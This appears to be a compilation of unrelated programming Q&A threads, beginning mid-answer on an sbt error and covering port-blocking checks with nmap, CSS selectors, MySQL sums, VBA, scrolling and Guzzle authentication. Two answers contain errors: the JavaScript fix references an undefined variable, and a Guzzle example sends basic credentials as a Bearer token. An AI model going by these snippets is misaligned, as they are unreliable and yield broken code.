[error] Use 'last' for the full log.
Project loading failed: (r)etry, (q)uit, (l)ast, or (i)gnore?

A: Don't use project as a name for sbt project, that's why the recursion error. Try something like:
lazy val root = (project in file(".")).enablePlugins(PlayScala)


text:
Q: Access notes app data i'm developing a notes app and I want to import all the notes stored in the default ios app into mine.
How should I do this?

A: There's no API to do this. 3rd party apps have no access to such data.


text:
Q: How can I tell if ISP is blocking outgoing ports? 1st: How can I tell if ISP is blocking ports?
2nd: How can I tell if problem is related to OS?
Problem began since upgrade to Windows 10.
(Business computer, hence I don't know if I have privileges).
(Read "Is there a simple way to detect ISP port blocking?" not relevant).
Settings I tried to configure:
Incoming Mail (IMAP) Server - Requires SSL
imap.gmail.com
Port: 993
Requires SSL:Yes
Outgoing Mail (SMTP) Server - Requires TLS
smtp.gmail.com
Port: 465 or 587
Requires SSL: Yes
Requires authentication: Yes

Error messages:
Log onto incoming mail server (IMAP): The connection to the server
failed.
Send test e-mail message: Outlook cannot connect to your
outgoing (SMTP) e-mail server. If you continue to receive this
message, contact your server administrator or Internet provider (ISP).

Checks I've did:

*

*I ran a ping test on google's SMTP ports they are blocked. (with & without firewall on).

*Checked multiple email clients.

Open for tests ideas
ISP tells the problem is my Win10?

A: If you go to - http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html and download putty.exe

click 'Open' at the bottom and you should get

If you get that then everything is connecting, if it isn't then you've got another problem. (I very much doubt that your iSP is blocking this though - if it is a work computer it could well be your work doing so)

A: You can use PuTTY, as Michael B suggested, or another telnet client, or cURL, or wget, which are available for Microsoft Windows, or even a browser, along with Outgoing port tester to test whether oubtbound access is allowed to a paticular port.

A: I'm also looking for an answer to your first question (checking if the ISP isn't blocking outgoing ports) and I'm almost there:
The easiest way to do this is, is to send data to all ports on a server on the Internet and see if we get replies when contacting each port.
But we need to be sure that this server (or combination of servers):

*

*Doesn't have ports behind a firewall.

*Doesn't have any UDP ports open. If they are open we wouldn't (necessarily) get a reply, if they are closed we would receive a ICMP-packet telling that it's unreachable.

... and I don't know about a server of which I can be sure that these conditions are the case
The state of the TCP-ports doesn't matter because when we send a SYN we would receive a SYN/ACK when they are open and a RST/ACK when they are closed but never no answer at all.
I was able to use portquiz.net to test all TCP-ports on IPv4 level except 445 (the owner of this server mentions on his site that this port is behind a firewall of his provider). So I still want to know about:

*

*TCP/445 on IPv4 level

*all UDP-ports on IPv4 level

*all TCP and UDP ports on IPv6 level

You probably don't want to figure out how to send the correct data to the correct port and figure out if you get a response manually. So I would suggest using nmap:

*

*For TCP, run nmap -p 1-65535 server_that_we_need | grep filtered .

*For UDP , run sudo nmap -sU -p 1-65535 server_that_we_need | grep filtered . (sudo is needed here because you need to be root for UDP-scanning). Remember: we need to be sure that the UDP-ports on the server are closed to get correct output!
All ports that are visible in the output are blocked by your provider


text:
Q: Styling paragraphs NOT preceded by a heading level element I wonder whether it is possible to style a paragraph not preceded by a heading?
I guess the rule would look something like this:
  p (direction for "without/not preceded by") h1, h2, h3, h4, h5, h6 {

Or... does the rule have to be written for the opposite:
  h1, h2, h3, h4, h5, h6 + p {

...therefore paragraphs could have the style desired for a paragraph not preceded by a heading, by default.
Kind Regards,
Dale

A: I'm pretty sure you have to write the opposite, as you described. Two important points, however:

*

*The first solution that comes to my mind is using :not, or the negation pseudo-class. However, it only takes a simple selector, so
:not(h1, h2, h3, h4, h5, h6) + p

would be illegal.

*As you have written your second selector, the + p term only applies to the h6; paste it into the SelectORacle to see. The correct selector would be
h1 + p, h2 + p, h3 + p, h4 + p, h5 + p, h6 + p

A: Sure.  Style all your paragraphs the way you would like them to appear without headings preceding them:
p {//styles here}

Then, farther down in the stylesheet, add the styles for paragraphs preceded by headers:
h1 + p, h2 + p, etc {//styles here}

The regular paragraphs will be styled as you want them.  The ones with preceding headers will get the later styles.
EDIT: I should add that the later styles will inherit from the earlier styles, so you will need to overwrite certain rules... for instance, if you have background-color: red on all your p tags but you do not want a red background on the p that are preceded by an h, then you need to set that background-color to none or another color, etc.

A: Thanks for the suggestions guys.
I felt that there was some selector that would do the job, but it looks very dodgy to use that one.
I will go with:
 p {

and then, lower in the cascade:
 h1 + p, h2 + p, h3 + p, h4 + p, h5 + p, h6 + p {

Annoying that the
 p {

is the exception rather than the rule : D


text:
Q: MySQL get the sum of all rows without retrieving all of them This may be a little confusing but please bear with me. Here's the thing:
I have a database that contains ~1000 records, as the following table illustrates:
+------+----------+----------+
| id   | date     | amount   |
+------+----------+----------+
| 0001 | 14/01/15 |      100 |
+------+----------+----------+
| 0002 | 14/02/04 |      358 |
+------+----------+----------+
| 0003 | 14/05/08 |     1125 |
+------+----------+----------+

What I want to do is this:

*

*Retrieve all the records beginning at 2014 and until yesterday:
WHERE `date` > '14-01-01' AND `date` < CURDATE()

*But also get the sum of amount up to the current date, this is:
WHERE `date` < CURDATE()

I've already got this working by just selecting all the records based on the second condition, getting the sum, and then excluding those which don't match the first condition. Something like this:
SELECT `id`, `date`, `amount` FROM `table`
WHERE `date` < CURDATE()

And then:
$rows = fetchAll($PDOStatement);

foreach($rows as $row) {
    $sum += $row->amount;
    if (
        strtotime($row->date) > strtotime('14-01-01') &&
        strtotime($row->date) < strtotime(date('Y-m-d'))
    ) {
        $valid_rows[] = $row;
    }
}
unset $rows;

Is there a way to achieve this in a single query, efficiently? Would a transaction be more efficient than sorting out the records in PHP? This has to be SQL-standard compliant (I'll be doing this on MySQL and SQLite).
Update:
It doesn't matter if the result ends up being something like this:
+------+----------+----------+-----+
| id   | date     | amount   | sum |
+------+----------+----------+-----+
| 0001 | 14/01/15 |      100 | 458 |
+------+----------+----------+-----+
| 0002 | 14/02/04 |      358 | 458 |
+------+----------+----------+-----+
| 0003 | 14/05/08 |     1125 | 458 |
+------+----------+----------+-----+

The worst case would be when the resulting set ends up being the same as the set that gives the sum (in this case appending the sum would be irrelevant and would cause an overhead), but for any other regular cases the bandwith save would be huge.

A: EDIT:
You can get the SUM using a LEFT OUTER JOIN.
    SELECT t1.`id`, t1.`date`, t2.sum_amount
    FROM
    `table` t1
    LEFT OUTER JOIN
    (
        SELECT SUM(`amount`) sum_amount
        FROM `table`
        WHERE `date` < CURDATE()
    ) t2
   ON 1 = 1
   WHERE t1.`date` > STR_TO_DATE('01,1,2014','%d,%m,%Y') AND t1.`date` < CURDATE();

A: You can create a special record with your sum and add it at the end of your first query
SELECT * FROM `table` WHERE `date` > '14-01-01' AND `date` < CURDATE()
UNION
SELECT 9999, CURDATE(), SUM(`amount`) FROM `table` WHERE `date` < CURDATE()

Then you will have all your desired record and the record with id 9999 or whatever is your sum

A: This could be achieved by correlated subquery, something like below:
SELECT *, (SELECT SUM(amount) FROM t WHERE t.date < t1.date) AS PrevAmount
FROM        t AS t1
WHERE `date` > '14-01-01' AND `date` < CURDATE()

However it is very unefficient  if the number of records is large.

A: It's hackish, but:
> select * from foo;
+------+------+
| id   | val  |
+------+------+
|    1 |    1 |
|    2 |    2 |
|    3 |    3 |
|    4 |    4 |
|    5 |    5 |
+------+------+
5 rows in set (0.02 sec)

> select * from foo
left join (
    select sum(val)
    from foo
    where id < 3
) AS bar ON 1=1
where id < 4;
+------+------+----------+
| id   | val  | sum(val) |
+------+------+----------+
|    1 |    1 |        3 |
|    2 |    2 |        3 |
|    3 |    3 |        3 |
+------+------+----------+

Basically, do your summing in a joined subquery. That'll attach the sum result to every row in the outer table's results. You'll waste a bit of bandwidth sending that duplicated value out with every row, but it does get you the results in a "single" query.

A: This will do what you want it to do...optimizing the subquery is the real challenge:
SELECT id,date,amount,(SELECT SUM(amount) FROM table) AS total_amount
FROM table
WHERE date BETWEEN '14-01-01' AND DATE_ADD(CURDATE(), INTERVAL -1 DAY)


text:
Q: Simple array loop copy and paste I'm new to VBA. I use a one column array for the variable data. Starting at the first cell (A1) I want to copy the text value in A1, paste to Sheet2,in A5, go back to the array and do it all over again, until I get to an empty cell. Easy right?
Here is the code that I have, I can not copy the value and paste it.
Thank you, for your suggestions!!!
Sub copylist()
    ' copylist Macro
    Worksheets("ID nbr").Select
    Range("B3").Select
    For Each c In Worksheets("ID nbr").Range("B3:B20").Cells
        If c.Value <> "" Then
            Sheets("ID nbr").Select
            Dim rgCopy As Range

            Selection.PasteSpecial Paste:=xlValues, Operation:=xlNone, SkipBlanks:= _
                False, Transpose:=False

            Range("B4:G4").Select
            Application.CutCopyMode = False
            Selection.Copy
            Sheets("Findings").Select
            Range("B4").Select
            Selection.PasteSpecial Paste:=xlValues, Operation:=xlNone, SkipBlanks:= _
                False, Transpose:=False
        End If
    Next
End Sub

A: You have made a great attempt using the macro recorder.  Now let's clean it up:

*

*I moved all the sheets into variables to limit the amount of typing.

*I removed all the .Select and .Activate, these just slow the code down and if referenced properly they are not needed.

*When only values are wanted, then assigning them directly is quicker than using the clipboard. We can do this as one block of cells.

*I used a counter to move down one row on the target sheet for every row found in the original sheet.
The code:
  Sub copylist()
    Dim ows As Worksheet
    Dim tws As Worksheet
    Dim c As Range
    Dim i As Long

    Set ows = Sheets("ID nbr") 'Original sheet
    Set tws = Sheets("Findings") 'Target sheet
    i = 4 'this is the first row in the target sheet

    With ows
        For Each c In .Range("B3:B20").Cells
              If c.Value <> "" Then
                  tws.Range(tws.Cells(i, "B"), tws.Cells(i, "G")).Value = .Range(.Cells(c.Row, "B"), .Cells(c.Row, "G")).Value
                  i = i + 1
              End If
        Next c
    End With

    End Sub


text:
Q: Behavior of scrollIntoViewIfNeeded I'm working on creating a web component that, given a list of elements that are focusable, automatically has accessible keyboard navigation.
Part of that is to have the active element scrolled into view if it isn't already, and to do this i'm using the Element.scrollIntoViewIfNeeded (in chrome, so support shouldn't be a problem).
I'm experiencing some weird behavior, that i can't quite figure out. I've created a minimal code sandbox to show the problem.

const app = document.getElementById("app");

for (var i = 0; i < 100; i++) {
  const paragraph = document.createElement("p");
  paragraph.innerHTML = "element " + i;
  paragraph.tabIndex = -1;
  app.appendChild(paragraph);
}

const handleKeyDown = (event) => {
  event.preventDefault();

  switch (event.key) {
    case "ArrowDown":
      if (app.contains(document.activeElement)) {
        const next = document.activeElement.nextElementSibling;
        next.focus();
        next.scrollIntoViewIfNeeded(false);
      } else {
        const first = app.firstElementChild;
        first.focus();
        first.scrollIntoViewIfNeeded(false);
      }
      break;
    case "ArrowUp":
      if (app.contains(document.activeElement)) {
        const previous = document.activeElement.previousElementSibling;
        previous.focus();
        previous.scrollIntoViewIfNeeded(false);
      } else {
        const last = app.lastElementChild;
        last.focus();
        last.scrollIntoViewIfNeeded(false);
      }
      break;
    default:
      break;
  }
};

document.addEventListener("keydown", handleKeyDown, false);
body {
  font-family: sans-serif;
}

.app {
  display: flex;
  flex-direction: column;
}
<!DOCTYPE html>

    <title>Parcel Sandbox</title>
    <meta charset="UTF-8" />

the centerIfNeeded argument doesn't seem to be respected at all. At times it is respected the first time i focus an element that is outside of the viewport, but not the second time, and sometimes it is just completely ignored.
Is this expected behavior?

A: The problem is that by default the focus() call will itself internally call scrollIntoView(), and the two calls will conflict.
To prevent that, you can pass the { preventScroll: true } option to your calls to focus().

const app = document.getElementById("app");

for (var i = 0; i < 100; i++) {
  const paragraph = document.createElement("p");
  paragraph.innerHTML = "element " + i;
  paragraph.tabIndex = -1;
  app.appendChild(paragraph);
}

const handleKeyDown = (event) => {
  event.preventDefault();

  switch (event.key) {
    case "ArrowDown":
      if (app.contains(document.activeElement)) {
        const next = document.activeElement.nextElementSibling;
        next?.focus({ preventScroll: true });
        next?.scrollIntoViewIfNeeded(false);
      } else {
        const first = app.firstElementChild;
        next?.focus({ preventScroll: true });
        first?.scrollIntoViewIfNeeded(false);
      }
      break;
    case "ArrowUp":
      if (app.contains(document.activeElement)) {
        const previous = document.activeElement.previousElementSibling;
        previous?.focus({ preventScroll: true });
        previous?.scrollIntoViewIfNeeded(false);
      } else {
        const last = app.lastElementChild;
        last?.focus({ preventScroll: true });
        last?.scrollIntoViewIfNeeded(false);
      }
      break;
    default:
      break;
  }
};

document.addEventListener("keydown", handleKeyDown, false);
body {
  font-family: sans-serif;
}

.app {
  display: flex;
  flex-direction: column;
}
<!DOCTYPE html>

    <title>Parcel Sandbox</title>
    <meta charset="UTF-8" />


text:
Q: How can I get Guzzle to work with CURLOPT_USERPWD? I have the following PHP curl code to generate a security token within an Application.
When I run this code it works perfect.
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://host.com/api/v1/auth/keys');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "{}");
    curl_setopt($ch, CURLOPT_USERPWD, 'admin' . ':' . 'password');

    $headers = array();
    $headers[] = 'Content-Type: application/json';
    $headers[] = 'Accept: application/json';
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
        echo 'Error:' . curl_error($ch);
    }
    curl_close($ch);

But at the moment I need a Guzzle version of this Curl script and that's where this issue begins.
I found different ways to handle the Authentication within Guzzle but so far nothing works.
This is what I came up with.
       use GuzzleHttp\Client;

        include "../vendor/autoload.php";

        try{

          $client = new Client(['base_uri' => 'https://host.com/api/v1/']);

          $client->request('POST', 'auth/keys',[
              'config' => [
                'curl' => [
                  // CURLOPT_HTTPAUTH => CURLAUTH_BASIC,
                    CURLOPT_USERPWD  => 'admin:password'
                ]
              ],
                'headers' => [
                    'Content-Type' => 'application/json',
                    'Accept'       => 'application/json',
                ]
                ]);

            print_r($client->getBody()->getContents());

          }catch (Exception $e) {
            print_r([
                "status" => false,
                "message" => $e->getMessage()
            ]);
        }

Instead of returning a security token, I get an error message "401 Unauthorized` response" - which means no correct authentication received.
What exactly am I doing wrong?
Thank you in advance.

A: I believe you are not well aware of how to use curl options within guzzle
Only use curl as request option no need to use config.(See docs)
<?php
require "../vendor/autoload.php";

use GuzzleHttp\Client;

    try{

      $client = new Client(['base_uri' => 'https://host.com/api/v1/']);

      $guzzleResponse = $client->request('POST', 'auth/keys', [
                'curl' => [
                  CURLOPT_USERPWD  => 'admin:password'
                ],

                'headers' => [
                    'Content-Type' => 'application/json',
                    'Accept'       => 'application/json',
                ]
            ]);

        print_r($guzzleResponse->getBody()->getContents());

    } catch (GuzzleHttp\Exception\RequestException $e) {
        print_r([
            "status" => false,
            "message" => $e->getMessage(),
        ]);// you can use logs here like monolog library
    } catch(Exception $e){
        print_r([
            "status" => false,
            "message" => $e->getMessage(),
        ]);
    }

method 2
Refering to this answer, I believe you can also use Basic Auth http header.
$encodedAuth = base64_encode( $usename.":".$passwd);

// ... other same as above

 $guzzleResponse = $client->request('POST', 'auth/keys', [
                'headers' => [
                    'Authorization' => 'Bearer '. $encodedAuth,
                    'Content-Type' => 'application/json',
                    'Accept'       => 'application/json',
                ]
            ]);
// ... other same as above